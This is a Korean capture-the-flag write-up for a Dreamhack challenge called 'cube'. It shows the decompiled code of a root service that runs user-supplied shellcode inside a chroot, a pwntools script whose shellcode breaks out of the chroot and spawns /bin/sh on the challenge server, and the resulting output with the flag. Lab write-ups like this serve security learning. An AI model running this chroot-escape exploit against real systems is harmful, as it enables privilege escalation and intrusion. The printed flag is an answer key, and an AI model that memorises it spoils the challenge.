Description
루트 권한으로 실행되는 서비스를 찾았습니다.
그러나, 큐브안에 갇혀서 빠져나올 수가 없습니다. 큐브를 탈출하고 플래그를 획득하세요!
checksec
seo@seo:~/Documents/dreamhack$ checksec ./cube [*] '/home/seo/Documents/dreamhack/cube' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
Decompiled-src
int __cdecl main(int argc, const char **argv, const char **envp) { void *buf; // [rsp+0h] [rbp-10h] buf = mmap(0LL, 0x400uLL, 7, 34, -1, 0LL); init(); sandbox(); printf("Give me shellcode: "); read(0, buf, 80uLL); ((void (*)(void))buf)(); return 0; } int sandbox() { return chroot("/home/cube/cube_box"); }
sandbox() 함수에 의해 파일시스템에서 루트 디렉토리를 “/home/cube/cube_box” 경로로 변경한다.
그 경로 밖으로 외부의 파일과 디렉토리 자원에 접근이 불가능해진다.
그리고 buf를 80바이트만큼 입력받아 쉘코드를 실행시킨다.
Solution
https://blog.pentesteracademy.com/privilege-escalation-breaking-out-of-chroot-jail-927a08df5c28
구글에 검색해본결과, 상위 경로로 chdir 함수를 여러번 호출하고,
현재 경로로 chroot 함수를 호출하면 탈출할 수 있다고 한다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') #p = process("./cube") p = remote("host3.dreamhack.games", 16734) e = ELF('./cube', checksec=False) shellcode = shellcraft.chdir("../../../..") shellcode += shellcraft.chroot(".") shellcode += shellcraft.execve("/bin/sh", 0, 0) shellcode = asm(shellcode) p.sendlineafter("Give me shellcode: ", shellcode) p.interactive()
Result
seo@seo:~/Documents/dreamhack$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 16734: Done [*] Switching to interactive mode $ ls /home/cube cube cube_box flag $ cat /home/cube/flag DH{4e58c0af34052a751eca0033b037270b}$ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 16734